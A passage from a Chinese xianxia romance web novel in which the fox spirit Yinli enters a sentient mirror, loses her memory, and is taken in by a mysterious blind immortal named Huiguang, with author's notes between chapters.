太阴星本就是它的力量源泉之一。 它与银梨、青霜一样,拥有明月的血脉,是月神的亲属。 只是,流落在外,导致回光镜的气息受到污染,被刻上了长夜浊气的印记。 换句话说,若磬言真是回光镜,那它就是银 梨或者青霜诞生在永夜中的样子。 和荒林邪鬼一样,他既有仙神的血统,又摆脱不掉鬼邪的烙印。 既是神子,又是怪物。 天地乾坤的两面,皆是他的一部分。 所有线索都串联到一起,再也没有解释不通的地方。 饶是银梨再有疑虑,此时也不禁信了大半。 若他是回光镜,那就真不能轻易击碎他了,银梨太需要这个东西来复活姐姐。 只是……说实话,银梨没想过回光镜会有灵智,要消耗一个看上去像活人的东西来复活姐姐,好像与想象中有些不一样,即使它已堕为邪鬼。 而且,回光镜若依然存在,它为何会盘踞在月东林里,还成了月东林邪鬼? 另外……银梨不太确定是否是自己的错觉,但磬言似乎……一直有些执着于她? 新的疑虑浮现出来。 银梨不敢再攻击磬言,可更不敢就这样放他。 归根结底,她不知道该怎么面对现在这样的回光镜。 若它还是一面镜子也就罢了,但磬言明显在永夜中生出了灵智。 回光镜变成这样……还能用吗? 场面一时僵持。 这时,磬言率先开了口:“公主,我们做一个交易吧。” 银梨没有接腔,却看了过去,等着听他能说出些什么。 磬言道:“相信你也发现了,你没有能完全制服我的手段,但同样的,我也没有办法控制你。满月的力量有限,等太阴星衰弱,局面未必不能逆转,拖下去,对你并无太多好处。” 银梨:“……” 其实还有一条路。 她可以立即杀掉磬言,解开鬼信物以后,再用自己和青霜重铸回光镜。 只是他们毕竟没有真的铸造回光镜的经验,她与青霜还必须合为一块玉才够材料,这样的事没人试过,成功的概率实则难说。 相比之下,一块货真价实的回光镜,显然更为保险。 正当银梨在心中盘算时,磬言忽然眼睛一眯,将那块幻影般的回光镜,正面转向银梨—— 隔着镜面,银梨看到镜中有两个人。 谢沉霄和云舒。 他们二人竟都在镜中! 两人俱在沉睡,谢沉霄眉头紧锁,云舒则要淡然得多,闭目凝神,嘴角微弯,像在微笑。 磬言道:“他们两人都没事,只是一直被我困在镜中。我没事,他们两个自然无恙,但你若杀了我,就不一定了。” “——!” 银梨没料到这两个人还能有救,一惊,心底的天平立即有了倾向。 她问:“你想要什么交易?” 磬言笑道:“公主想要的,无非就是复活月神,还有消灭鬼君。 “这两点,只要使用我,其实可以同时做到。 “我可以给公主用我的机会,但同样的,我也想要公主的诚意。” 银梨几乎毫不犹豫:“你要什么样的诚意?” “我想要公主带着我的信物,再次进入鬼阵中。” 磬言一个字一个字,平静地说道。 他眉眼含情,不像在谈条件,倒像在说什么情话。 “若是这一次,公主还能从鬼阵中走出来,那就算公主赢了,我自愿为公主所用,复活月神。” 银梨道:“那相反呢?” 磬言没有作答。 但银梨从他的微笑中得到了答案。 这一次,她要是没能离开鬼阵,那就真的会成为邪鬼的妻子,永远留在阵里。 银梨权衡着利弊。 她说:“……不答应你,我可以用自己铸造回光镜。但答应你,一旦失败,便连用我与青霜铸镜的道路都会阻断,反而功亏一篑,赌注太大。” 磬言则说:“你与青霜是不同颜色的滨海神玉,还要合在一起才能铸成一镜,谁都说不成能不能成功,一旦失败,便是人镜两空。 “但你与我赌,若是赢了,便能拿到一面现成的回光镜,必定不会有差池。” “……” 越是权衡,越是纠结。 满月一点一点往西边挪去了,银梨知道留给她思考的时间不会太多,一旦太阴星的力量减弱,她未必能稳稳控制住磬言。 一旦让他逃脱,才是真的麻烦大了。 就在这时,她觉得有什么东西在胸口烫了起来。 银梨抬手去摸,才发现竟是姐姐留给她的那个头发所化的护身符。 这个护身符在她身边快两百年,向来没有半点动静,以至于银梨都不知道它到底有什么用,没想到竟在这种时刻有了反应。 这是什么意思? 难道……姐姐是有意指引她,希望她去赌吗? 踌躇片刻,银梨终于下定决心。 她说:“若要赌,你必须和我结山盟海誓契,一旦结契,你我就都不能违反誓言。反悔之人,必会被契约反噬。” 磬言毫不犹豫:“好。” 山盟海誓契,这是修仙人间常用的术法,用来防止谎言和背叛,一旦结契,交易内容便牢不可破。 他们两人由银梨来主持结契,势必不可能被破约。 银梨见他答应,又道:“还有,若要我跟你赌,你要先放走谢沉霄和我师兄。” 磬言对此也没有异议,再度答应:“好。” 银梨定了定神,谨慎地收起一部分敌意,上前一步,与磬言缔结山盟海誓契。 ………… …… 青霜本在清辉殿内全力运转太阴星,但运着运着,却发现外面没了动静,布置好的阵法里没有东西,银梨似乎也没在借太阴星的力量了。 青霜担心银梨的处境,赶忙从清辉殿中出来,必要的话,他也可以燃烧神血助阵。 然而,他出来时,却看见两个长着九条狐尾的人,面对面,额头抵额头,双手十指交握,两人掌心上割开的伤口正好对在一起,鲜血交融。 他们正在缔结山盟海誓咒。 ……他们两个,看着好像。 青霜望着此景,忽地生出一种异样感来。 这两个拖着狐尾的人,以这般姿势面对面站立,简直像是镜子内外,看上去几乎是对称的。 其中一个人是他的妹妹银梨,可另外一个人是谁?他为何也有九尾? 不等青霜反应,忽然,只见结契结束,那个不认识的少年化作一面巴掌大的小镜子,一道镜光照到地上,下一瞬,镜子里面就抛出了两个男人。 青霜大受惊吓,赶忙去接! 从镜子里抛出来的,竟然是谢沉霄和云舒师兄! 青霜跑去查看两人的状况,只见他们气息平稳,粗略观之,似乎并无大碍。 青霜急忙又看向空中。 这时,银梨转过头来,对他做了几个口型。 听不清楚,但兄妹多年,青霜立即读懂了她的唇形。 银梨在说:“哥哥,等我。” 话完,她坦荡地面对镜子。 那镜子转向银梨,镜面发光,将银梨全然罩在其中。 银梨闭上眼。 她自愿,被收入了镜中—— 作者有话说:青霜:怎么回事?!怎么有人比我还像我妹妹的亲哥哥?! == 上卷结束! 由于背景设定的原因,上卷不太适合写太萌的剧情,我没法写狐狸摇尾巴已经快要憋死了_(:з」∠)_。 下卷终于可以猛猛写毛茸茸了!释放!我要彻底释放真我!(狂奔跑走 第39章 空渺飘零的意识中, 银梨好像做了一个梦。 那像是悠长的梦,又仿佛是极久远之处的记忆。 在梦中,她听到姐姐与另外一个女子的声音—— “引兰!你看我捡到了什么!” 最先响起的, 是姐姐的话语。 银梨感觉自己被姐姐握在手中, 然后, 又从姐姐这里,被转移到了另一个女子 手上。 那名为“引兰”的神女捏了捏银梨,惊讶地道:“这是……滨海神玉?你捡到的?还是一块白色,一块青色, 品质都很高啊。” 姐姐说:“不错, 我刚到东海之滨, 就看到这两块玉石发光挨在一起。 “我走过去一摸,立即就感觉到,他们应当与我有姐弟妹之缘。 “我想, 只要我用太阴星妥善滋养,他们定能生出玉灵, 以后便能长久陪伴在我身边。” 姐姐的语调听上去很是雀跃。 她道:“我一直没有亲人, 早想体验一下这种感觉。 “我在路上便想好了,他们只像我一样当人未免无聊,我要给这两块灵玉雕点别的形态,让他们活得更自由一些。 “我打算, 这块青的雕成灵鹿, 白的就雕成九尾狐吧!日后他们陪伴在我身边跳来跳去, 一定会很可爱的!” 那名为“引兰”的女子先是笑了, 但接着,她转动着银梨所在的白玉,像是斟酌。 她说:“可以是也可以, 不过我看这块白色的神玉偏大,以我担任玉匠多年的经验,我怀疑这里面,可能有两个玉灵,生来成对。 “这种情况,若是只作一件玉器,便对不上两个玉灵。 “我看,不妨将它切割开来,便可做成两件,多一个选择。” 姐姐闻言一愣,道:“可若是浑然一体的两个玉灵,硬将它们分开,是不是也不太好?” 女子道:“以我的经验,你若把它一整个雕了,反而会有一个玉灵难以修炼,最终不是闷死,就是长期沉眠。 “你将它们分开,生来一体的玉灵起初也许会不适应,但它们同时也有了各自的身躯命数,长期来看,是有益的。” 姐姐沉默良久,大抵是在思量引兰神女的话。 姐姐与引兰神女显然关系不错,在审玉方面,她信任引兰神女的话。 过了一会儿,姐姐下了决心,道:“那就分开吧!” 引兰神女问:“那多出来一块,你想雕个什么?” 姐姐显然没想过这件事,一下子陷入沉思。 过了很久,她说:“这孩子来得出人意料,我想雕得既有纪念意义,又与它双生的另外一个玉灵有些联系,我看,不如就雕一幅天地乾坤宇宙洪荒绝世银狐奔月图吧!” 引兰:“……” 引兰:“你认真的吗?” 被姐姐称作“引兰”的女子听声音就知道在头痛。 她好像揉了揉眉心,道:“不能由着你一时兴起乱来,不然这孩子将来要恨你的。我想想……” 沉吟半晌,引兰神女道:“我有一个主意。这样吧,我们将这块白玉一分为二,其中一块就按之前的想法,雕一只九尾小白狐,与那块青色的神玉配成一对。 “至于另外这半块……其实我之前设计了一种特殊的玉镜,一直没有找到合适的材料来制作。要是我的构想不错,这种玉镜一旦成功,或许能有映照人心、重塑仙境之能,若是材料够好,没准还能有其他特异之处。 “若是你同意的话,我可以试试用这块神玉,来制作玉镜。于玉灵而言,有一个精美强大的本体,也会更有利于未来修行。 “月婵,你觉得如何?” 姐姐像是惊喜,道:“这个或许不错!我听你念叨许久了!那便将这孩子,做成玉镜吧!” …… 银梨只听到这里,便觉得意识越来越模糊,后面再发生什么,便听不清了。 ………… …… 银梨…… 醒醒…… 在这世上只有你能…… 醒醒…… 银梨…… 我的……妹妹…… ………… …… 银梨在呼唤声中苏醒。 她不记得自己是如何睡着的了,但在迷蒙的睡梦中,好像一直有谁陪伴在她身边。 对方一直以十分温柔的动作安抚着她、抚顺她的毛发。 没有恶意,更像是怕她在做噩梦。 奇异的,从这种安抚中,银梨感受到了一种令人怀念的感觉。 就好像在很久以前,他们本为一体,不分彼此,原就不该分开似的。 银梨动了动耳尖,缓慢地睁开眼,苏醒过来。 逐渐清晰的视野中,她看到一团黑雾盘踞在她身边,贴得她很近,似乎就是它一直在陪伴着她。 但见银梨睁眼,那团黑雾仿佛受了什么惊吓,忽然一抖。 不等银梨反应,便见这团黑雾变淡、扩散,随之就像逃跑似的,倏然散去。 银梨一愣。 那雾气散得太快,她再看向周围,已没有半点痕迹,她甚至难以判断方才看到的是不是自己的错觉。 银梨站起来,环顾四周,想弄清自己的处境。 烟雾缭绕的密林,树木葳蕤,偌大的树林听不见一点动静,逶迤的道路隐藏在错落的灌木树丛之间,像一个巨大的迷宫。 看着这样的景象,银梨有些记起来了。 三天前,她在月东林中与兄长失散,误入了一个迷途鬼阵,然后就被困在了这里。 银梨一直在林子里横冲直撞,却一直没找到出路,抱着尾巴在树洞里哭。 最后,她大概是哭得太久,将自己哭晕,直接睡了过去。 ……这一觉睡得真沉,就像睡了好几百年一样。 银梨觉得自己的记忆中间空了很大一块,像突然断开、再猛然接回到这里似的。 她有很多事都想不起来了。 ……她叫银梨,是一只玉石狐狸。 但……除此之外呢? 银梨试图回忆起一些信息。 她是什么人?住在哪里?多大年纪?还有……与她走散的兄长是谁? 然而,无论她如何拼命回想,脑子都像被什么堵住,除了一点含糊的概念,别的什么都不记得。 她看向自己的爪子。 还有一件事很奇怪。 在银梨懵懂的认知里,她觉得自己应该有百来岁了。 可是,另一方面,当她想到迷失月东林这件事,却觉得这本应发生在七八岁的时候。 ……她到底多大了? 头很痛。 当务之急,或许是应该离开这里。 银梨站起来,想试着寻找出路。 然而失忆叠加迷途鬼阵的未知性,让银梨产生了失重般的慌乱,她有些不知所措。 她在周围走了几步,却没有找到出路。 在银梨朦胧的认知中,她知道,迷途鬼阵很难从内部逃离,她是失忆的状态,要凭自己走出去更加困难。 ……很麻烦的局面,好像没什么办法了。 正在无措间,忽地,她听到身边响起锦帛撕裂之声。 她转过头去,紧接着,只见空气中裂开一道金色的缝,一柄银色的剑像是破开虚空,利落地切开了鬼阵隔绝外界的屏障,就在银梨眼前,开出了一个出口来! 银梨一怔,旋即迅速回过神来—— 现在,肯定是外面有人用剑劈开了迷途鬼阵。 虽不知外面是何人,但机不可失,时不再来,绝不能错过这个出口! 多年来的经验,让银梨足以在电光石火间掌握时机,那一刻,身体甚至比银梨本人更快做出反应! 她纵身一跃,从鬼阵中撞了出去! “呜!” 银梨本意并不打算化形,但不知怎么的,在撞出迷途鬼阵的刹那,她却不由自主地化成了人身—— 而且,身体虽成了人身,她的耳朵和九条狐尾却并未一并收起,她就这样以一个不完全的状态,笔直地跌到了外面! 然后,撞在了某个人身上。 扑面而来的夜息香气息。 预想之中跌落在地的冲击并未到来,身上碰到的触感绵软,而且扎实,有某种难言的冰冷,可也莫名的踏实。 对方就像早已预料一般,稳稳地接住了她。 银梨抬起头。 高洁的月光骤然撞入眼中。 出现在她眼前的,是一个目覆白绫的青年男子。 他衣如初雪,一身皓然,乌发以玉冠束起,云锦底衫上披着杏金直身长袍,手中一柄银剑,泛着月华流泻般的皎洁。 他大半张脸被白绫遮着,旁人只能看见白绫下清瘦的下颔,虽看不到脸,但一身卓然之气,会让人不禁想象那是一张清俊出尘的面容,覆面并未有损他的气质,反而有了些不出世的清高。 纤尘不 染,玉质雪华,连天云落在他肩上,都要被衬得有三分庸俗。 银梨不由晃了神。 原来,世上真有能生出这般气质的人。 银梨的记忆不太分明,但望着眼前这人,便是她,也不禁想,这世间若有仙人,大概就应该是这般模样。 银梨的脑子突然刺了一下。 不知怎么的,她总觉得这般脱俗出尘气质的人,她应该还在什么地方见过。 好像并非如此相貌,也并非眼前之人。 ……只是这般超然之人,若她真的见过,又怎么会忘记? 银梨正在失神之间,那白衣仙人已将她轻轻放到了地上,然后缓缓收起了剑。 仙人好像并未打算与她有太多交集,见她已经安全,转身要走。 银梨这才回过神来,忙道:“那个!多谢你,救了我。” 这仙人大抵是视力不佳,他听到银梨的道谢,分辨方向似的动了下头,缓慢地朝向银梨的方位,对她微微颔首。 然后,并未留恋,缓步离去—— 作者有话说:某物:……都喜欢吗,那总之先缝合一下。 第40章 白衣仙人的背影消失在密林间。 毕竟是萍水相逢, 对方救了自己,银梨已是感激不尽,更何况对方没怎么说话, 有些生人勿进的疏离感, 银梨见他要走, 便不好意思挽留。 ……又只剩下她一个人了。 可是,她应该去哪儿呢? 银梨没有头绪,只好翻找自己身上的东西,希望从随身物件中找到一些与自己身份有关的线索。 她身上的东西实在很少。 找了老半天, 值得注意的物件, 似乎只有两件。 第一件, 是一枚红底金纹的护身符。 护身符看着有些年岁了,但种种迹象都表明,银梨一直将它仔细保管在最贴身的地方, 必定是珍爱之物。 这护身符证明不了她的身份,但银梨隐隐觉得, 它一定十分重要, 决不能有闪失。 于是,银梨将她小心翼翼地重新收回胸口的内袋里,妥善保管。 另外一件物品,就实在有些奇怪了。 那是一枚雕刻着龙凤呈祥的古玉。 巴掌大的羊脂白玉, 通体冰凉, 龙凤呈祥的花纹古朴精美, 玉质通透非常, 看上去年岁悠久,纹路却几乎没有模糊,精致依旧。 这玉肯定价值不菲, 不过,银梨看着这块玉,却莫名有种很不舒服的空洞感,说不出的别扭。 最关键是,银梨摸了几下后,发现它竟是强行绑定在她身上的,没有办法取下来。 这绝不是正常情况。 银梨又尝试数次,想将它摘下来,但这玉佩看似只是松松系着,实则坚韧无比,银梨费劲了心思,最后毫无进展,只得作罢。 除这两样东西以外,银梨再没找到什么线索,再度陷入僵局。 就在这时,银梨看到林子深处,白衣一晃,方才离去的那位白衣仙君,竟又折了回来。 银梨一顿,看到那若隐若现的身影,不免疑惑。 ……为何已经走了,又去而复返? 不过,不得不承认,在这种情况下,能看到人,比一个人待着要踏实多了。 银梨松了口气,正要上前搭话,却见那白衣仙君径自走到了她面前。 然后,他一抬手,银梨才看见他是拿来一个布包,里面包着食物。 热腾腾的点心,冒着香气。 ……什么意思?投喂她吗? 银梨不解,本要拒绝。 她是九尾狐,不太容易饿的。 可是,话刚要说出口,银梨忽然发现自己的身体虚得厉害,浑身灵气都像被掏空了。 怎么会这样?在迷途鬼阵的时候……她做了什么很消耗灵气的事吗? 想不起来。 人本不应接受嗟来之食,可是在身体亏空的情况下,银梨一闻那香味,竟真的饿了。 她实在需要补充一些体力。 银梨面露赧然,向那仙君道了谢,便伸手接过,吃了起来。 ……口感柔软微甜,入口即化。 这点心不知是不是放过梨汁,总觉得很清爽。 银梨吃了,还有些意犹未尽,身后的尾巴不自觉地摇摆了两下。 银梨本想矜持地克制,总觉得自己应该保持着端重沉稳的形象,可回过神才发现这里总共只有他们两人,那位仙君又看不见,她自在些似乎也无妨。 说起来……她为何非要看起来沉着可靠呢? 想不起来了。 但想不起来,反而让银梨内心轻松了许多,仔细一想,她本就无需那么在意外在形象的。 银梨索性大大方方地摇起尾巴来。 她不太清楚白衣仙君是从哪里弄来的这点心,但无疑于她而言十分适口,而且似乎正好能补她此刻的灵气亏空,吃了以后,忽然觉得精力充沛多了。 “谢谢你,我觉得好多了。” 银梨真诚地向白衣仙君道谢。 白衣仙君仍旧没说话,只是微笑着颔首,这回,便真要离去了。 银梨本想向他打听何处会有人烟,但这时,银梨看到有东西在他腰间一晃。 那似乎是一块古玉,龙凤呈祥的纹样,十分眼熟。 银梨脱口而出:“等等!” 白衣人回过头来。 她抚上腰间,看自己身上的玉。 她身上的古玉,与这位仙君腰上的,竟一模一样,简直像是成对的。 银梨不可置信地看看白衣仙君腰上的玉,又看看自己身上的,反复对比,似乎真是一样,应该无措。 银梨将自己身上的玉托在手上,不由问道:“这位仙君,你腰上的玉佩与我身上的好像,请问……你认识我吗?” 然而,白衣仙人只是安静地面朝她的方向,并未说话。 他这样沉默,银梨不禁怀疑,他不只是眼睛看不见,或许也不能说话。 银梨拿捏不准对方的态度,只好继续道:“我什么都不记得了,现在也不知道该去哪里,您若是知道些什么的话,能不能告诉我呢?” 银梨已经十分客气了,若是对方还不理她,她大约也没什么办法。 但这时,白衣仙人停顿片刻,忽然,他对银梨淡淡笑了笑。 然后,他往前指了指,便自己往他所指的方向走去。 ……什么意思?是示意她跟过去吗? 银梨当下也没有更好的选择,对方将她从迷途鬼阵中救了出来,想来也没有恶意,她考虑了一下,便跟了上去。 白衣仙人走在前面,银梨跟在后面。 银梨跟得有些紧张。 两人一同前进。 这白衣仙君看似徐步安行,举止从容悠然,可实际移动速度却快得出奇,银梨跟随,竟比想象中吃力。 银梨眼看着他的衣摆在林中穿梭,仿佛一眨眼就要消失在树林深处。 羊肠小道,在山间蜿蜒逶迤。 这位仙君以白绫蒙眼,理应视力不佳,但他似乎这个林子很熟悉,走得淡定,一步都未曾迟疑。 不知走了多久,浓雾渐开,在密林深处,竟出现了一片梨花林。 视野豁然开朗。 落花迷眼处,一径入云深。 在梨花林深处,有一片寂静的湖泊。 时下许是春季,梨花开得正好,树冠上一簇一簇的花团沉甸甸地压着,玉屑满枝,非云非雾,疑霜似雪。 正当银梨看得出神,只见花林深处,竟显露出一座古朴的大宅子。 没有字的匾额高悬在大门正上方,石狮子一左一右立在门前,漆红朱门上嵌着一对丹漆金钉兽面铜环,门环上的凶兽怒目而视,凶神恶煞。 那仙君走上去,一碰,门“咯吱——”一声便开了。 这时,那仙君回过头来,像在等她。 银梨一愣,意识到对方是在邀请自己入内,忙跟上去。 一进宅邸,眼前又是一阵清明。 这是一座起码三进三出 的大宅子,经过影壁才算入内,后面又是垂花门。 一路都是干净的青石板路,庭院中种了不少梨树,亭台楼阁,景观典雅别致。厢房一楹楹排列,错落有致。 银梨走在宅邸中,惊叹于这宅邸雅致,却心生异样。 这片梨花林,她好像不是第一次来。 可这个地方……原本有宅院吗? 而且,这宅子未免太大,太安静了。 银梨跟着白衣仙人往前走,一路走来,除了引路的白衣仙人,银梨就没再看见任何人。 既无旁人迎接,又无侍者随从。 不要说人,似乎连活物的动静都不曾听到。 若要说这么大的宅子里,只住了白衣仙君这么一个目盲之人,未免太过怪异了。 正当银梨有些疑惑时,那白衣仙君走到一间厢房外,站定,推开了门。 他回过头,对银梨所在的方向微笑。 他的意思,好像是示意银梨可以进去。 银梨进退两难,但都走到这里了,再打退堂鼓,也太怂了。 银梨保持着谨慎,走到屋前看了看。 接着,微微一怔。 与这大宅子冷清的气氛不同,厢房内的布置倒是很温馨—— 床上铺着柔软的锦被,窗前是一个用品齐全的梳妆台,屋子收拾得整洁干净,桌上的果盘盛着新鲜的桃子和梨,窗台上有应季的花卉,装饰用品皆是银梨偏爱的风格色彩。 银梨的记忆模糊不清,但她隐隐觉得,这里比她以往住过的任何一个地方都要更合她心意,简直像专门为她准备的一样。 更不要说,床边还单独放了个绣花软垫,体型恰与她的原形相当,一看就像是给狐狸睡的。 银梨看得吃惊,不由问道:“这里……是给我住的?” 白衣仙君点了点头。 银梨又问:“这间屋子……难道是特意为我准备的吗?” 白衣仙君依旧点头。 银梨道:“您其实……真的是认识我的吧?” 白衣仙君笑而不答。 银梨摸不着头脑。 不过,比起一个陌生人家里凑巧有一间如此合适她居住的屋子,银梨还是觉得对方本来就认识自己比较合理。 她现在没有记忆,无处可去,留在一个看上去与她有关联的地方,是她眼下最好的选择。 况且,这白衣仙君既然救过她,无论如何应该对她没有恶意才对。 于是,银梨道:“多谢您,在我想起记忆前,就麻烦您让我住在这里吧。” 白衣仙君颔首,表示同意。 他见银梨似乎安顿好了,便想离去。 银梨忙又唤住他,道:“那个!这位仙君,请问今后该怎么称呼您呢?” 白衣仙人听到她的声音,又转回头来。 说实话,从银梨见到这位仙君到现在,她一次都没听见过这位仙君开口。 银梨几乎已经笃定,他是有一些原因导致无法说话的。 但这一次,他开口了。 白衣仙人对她的方向微笑着,慢慢地道:“我叫回光。” “——!” 清冽的青年男声,像溪流一般好听。 银梨因为对方忽然开了口而错愕一瞬,呆了一会儿才反应过来,在口中咀嚼这个名字—— “……回光?” 她重复道。 “是。” 仙人温和地应道。 “不过,你若是喜欢,也可以用别的称呼来叫我。” ……回光。 银梨默念着这个名字。 总觉得,方才被这个名字,冲击了一下大脑。 只是最终,还是什么都没想起来。 银梨回过神,对仙君道:“我知道了,多谢您,回光仙君。” 白衣仙人对她一笑,转身离去了。 * 这夜,银梨便住在了白衣仙君给她安排的厢房中。 银梨初来乍到,不好意思到处乱逛,进了屋子以后,几乎没怎么再出去,天一黑,也就睡觉了。 然而睡到半夜,她被激烈的兵戈之声吵醒。 银梨不知道发生了什么,警惕地移出屋外,想去打探。 她下床时,发现床尾挂了一把剑,拿起来一试,还正好趁她的手,银梨便一并带上了。 银梨将剑横在身前,维持随时可以出鞘的状态,小心翼翼地向动静最大的方向移动。 近了。 很近了。 绕过一道树影,视野开阔,不等银梨定神,便见衣袂一晃,极利落的银白色剑光自眼前闪过—— 有数十个蒙面的黑衣人,包围了那位白衣仙君。 那些黑衣人各个手持武器,来者不善,动作变幻莫测,招招夺命。 那白衣仙君手持清剑,被这数十人包围。 接着,只见寒芒乍起,凛光吐信。 是白衣仙人出了剑。 他双眼被白绫覆住,只能听声辨位,但挥剑动作竟行云流水,毫无犹豫。 银梨从未见过如此凌厉风雅的剑术。 月韵云轻,流风回雪。 那些黑衣人不弱,出招敏捷,动作迅疾。 但这样流畅的招式,随着那白衣仙人动手,竟被衬得迟缓无比。 仙人剑如奏乐,衣袂飞扬,手腕回旋,剑锋轻易从黑衣人喉间、胸口要害抹过,冷光一现,刹那封喉。 须臾,白衣仙君面无表情,安然收起手中银刃。 没人看得清发生了什么,但那数十个黑衣人都已尽数被剑光劈开! 黑衣人身形一晃,皆像泄了气似的收缩,最后化作破碎的人形符咒,飘落在地。 接着,人形符咒上冒出滚滚黑气,消散了—— 作者有话说:某物:剑术buff是吧,归我了。《 》 40-50 第41章 银梨看呆在原地。 她自己也习剑, 自然能看得出剑术的好赖。 她没有生活方面的记忆,但技能类的事情并未遗忘。 她应当见过无数剑修,可银梨确信, 她从未见过能将杀戮表现得如此唯美的剑法, 最凶狠的杀招竟能用得像清风吹雪, 轻描淡写之间消对手于无形。 即便是世上最好的剑修,剑术想来也就不过如此。 更何况,眼前之人,双目似乎不能视物。 真不知他若是能看得见, 剑法还有何等建树。 “你……” 银梨咋舌。 她本来觉得既然见了面, 就应该打个招呼, 解释一下自己为何在这里,可是开了口,却不知该说些什么。 这时, 反是对方一动。 白衣仙人好像听到了她的声音。 然后,他转头, 向银梨的方向走来。 白衣仙人走到银梨面前站定, 不等银梨开口,他抬起手,用手背轻轻碰了碰银梨的脸。 ——好凉。 这是银梨的第一感觉。 她没想到对方的手这么凉,甚至有种被柔软的冰块贴了一下的感觉。 银梨起先还没意识到白衣仙人这个举动是什么意思, 直到对方收回手, 她才看到他手背上有血。 ……不像是白衣仙君有伤。 这……难道是她脸上有血吗? 银梨一愣, 去摸对方碰过的位置, 才发现真有一个细小的伤口,太细微了,她自己都没有发现, 竟反是对方先发现了。 这多半是被刚才的剑风刮到的,至于是那些黑衣人的招式还是白衣仙君的招式所致,那就不好说了。 话说……这位仙君是怎么发现的?他应该看不清吧?是凭气味吗? 不等银梨想明白,却听白衣仙人道:“对不起。” “……什么?” 银梨一时甚至没有反应过来。 银梨实在觉得这不能算是对方的错,毕竟白衣仙君要与人战斗本就难以分神,银梨又是不请自来的,他未必能顾及到。 再说,这伤也未必是因为这位回光仙君的剑。 银梨道:“只是一点小伤,不碍事。” 银梨正要说不必介怀,这点小伤走几步路怕不是就要好了,却见白衣仙君蹙起眉头, 道:“抱歉,是我没有控制好……今后不会发生这种事了。” “……?” 他的表情,好像真的很自责。 银梨觉得他好像不必如此,但白衣仙人已往前走去,道:“请随我来。” 银梨一句“不用”都还说未出口,眼看着对方走远,只得跟了上去。 白衣男子带着她七弯八拐,银梨跟在后面,一路上照例还是没有见到任何人。 直到穿过宅子后门走到外面,银梨才发觉这后面居然有一片药田。 银梨大概有过与精通草药的人一起生活的经验,虽然她自己没有太多这方面的积累,但竟一眼就辨认出,这药田里有许多草药极难种植,十分稀少。 白衣人在药田中摸索,不久,便从一棵植物上摘下一片叶子,递给银梨。 银梨没认出这是什么植物,但看回光仙君的举动,好像是让她敷在伤口上的意思。 银梨试探着贴去。 刚一贴上脸,她便不由“嘶”了一声,不是痛,而是冰凉。 但紧接着,凉意消失了,触感忽然舒服起来。 凉凉的,很湿润。 不必检查,银梨也知道,她脸上的伤一定已经愈合了,而且恢复得看不出任何痕迹。 本来就是小伤,银梨并不在意的,反而是这片植物的叶子,让银梨惊奇。 她问:“这是什么草药?” 回光仙君回答:“天月宝灵草。” “……什么?” “天月宝灵草。” 听对方答了两遍,银梨才确定,这个名字她确实不太熟悉。 疗效如此显著的草药,她竟然很是陌生。 银梨试着在自己模模糊糊的记忆来搜寻。 深远的记忆里,逐渐浮现出一个女子身影,她比银梨大一些,容颜盛美,身上有好闻的草药香,银梨觉得自己应与她颇为亲近—— 她对银梨道:“师妹,其实这世上本有一种药草,叫作天月宝灵草,只要一小片叶子,就能在顷刻间,令人断肢重生,且过程毫无痛苦,是名副其实的仙草。 “只可惜,这种灵草,由于种子极难破土,在五六百年前就绝迹了,如今已无人见过。” ……天月宝灵草? ——天月宝灵草! 银梨大骇,不可置信地摸自己的脸。 要是她那含糊的记忆没错,刚才,一种五六百年前就已绝迹、可令断肢重生、无数仙神都会为搜寻此物不计代价、千金难得的仙草,就这样用在了她破了点皮的小伤上?! 银梨不敢想象这世上竟有如此奢侈之事,道:“这种灵草,应当在好几百年前,就绝种了吧?!这样珍贵的草药,用在我这种小伤口上太浪费了!” “……?” 白衣仙人偏了偏头,似乎不太明白她的话。 “……珍贵?” “当然!” 银梨见白衣仙君好像真的不懂,卖力地试图解释:“我刚才那样的伤,即使不治疗,可能睡一觉也就好了!何必动用这样昂贵的仙草!这样的草药,本可用在更有价值的地方的!即使是拿去卖,也轻易便可换取重金!” 银梨据理力争,努力想让对方明白,为何这样不合理。 白衣仙人听完,却无动于衷,只淡淡笑道:“在外面或许是吧,但在这里,这并不珍奇。” 他的手指修长,骨节分明,在那株灵草上轻轻抚过。 只见刚刚被摘掉叶子的灵草,转瞬就又长了两片新叶出来,鲜嫩饱满,苍翠欲滴。 白衣人无所谓地说:“只要我见过的东西,便可在这里一直生长。虽然并不算真实的生命,疗效却不会有什么区别。” “……?” 银梨总觉得这说法奇怪。 她问:“这灵草……是没有生命的吗?” 以及…… 她又问:“你说的‘外面’,是指什么?” 然而对这两个问题,白衣仙君只是微笑,并未答银梨。 他给人的感觉太飘忽不定,银梨不好追问,见白衣仙君回身要回宅子,忙也跟着回去。 月光皎洁,偌大的宅子恢复了寂静,更显得方才这白衣仙人与黑衣人的激战来得突兀。 银梨不由问他:“仙君,方才那些黑衣人……是什么东西?” 白衣仙人平静地回答道:“想取我性命之物。” “它们,为何要取你性命?” “我的身份有些招眼的地方,自会引来危险。” “……招眼的地方?” “是。” 白衣仙人转向她,就像说吃饭喝水一样的平常事一般,说出了十分稀奇的过往。 “我本是一国少君,但父皇早逝,将监国之责托付给叔父,叔父实则垂涎君王之位,自然忌惮于我,以神女召奉为由,将我指派至此地清修,我也因此觅得仙缘。” “只是叔父并不信我无心君位,只要我活着,便不放心,这才常派刺客过来袭击。” “方才那些黑衣人,大抵就是他派来的术士操纵的傀儡。” “无伤大雅,只消斩了即可。” 银梨听得一愣一愣的。 这样的过往,总觉得在哪里听过。 她问:“那你今后,可有夺回君位的计划?” 银梨不知道自己哪里来的底气,但对方救了她的性命,她总觉得,若是对方想要复仇,她应该可以帮得上忙。 然而,不等她主动提出报恩,对方的回答,已经出乎她的意料。 白衣仙君笑了笑,温和地回答道:“不必了。” 银梨一愣。 接着,便听白衣仙君又道:“世俗的功名利禄,于我不过浮云,我本就无意于此,只是旁人不信罢了。 “事实上,就算登上九五之尊的玉座又如何呢?不过是被困在另一个华美些的地方,被凡间俗物所困。与其回去,不如就留在这里,过闲云野鹤、无人约束的日子,还更自在。 “我真正想要的,从不是他人以为的那些。” 银梨只听到一半,便已晃神。 这是她从来没有听过的答案。 莫名地,她觉得心底有点难受。 仿佛曾几何时,她就希望有人能这样说一般。 白衣仙君还留了一个话头,却没有继续讲下去。 银梨不由问道:“那你真正想要的,是什么?” 白衣仙人站住脚步,面朝她的方向,没有说话,只是唇角含笑。 “——!” 心脏险些停跳。 银梨竟不敢再往下问了。 白衣仙人的五官都被掩在白绫之下,但在当下,她却有种被正被对方温柔而安静地注视着的感觉。 他明明没有说什么,却像意有所指。 两人默不作声地往回走。 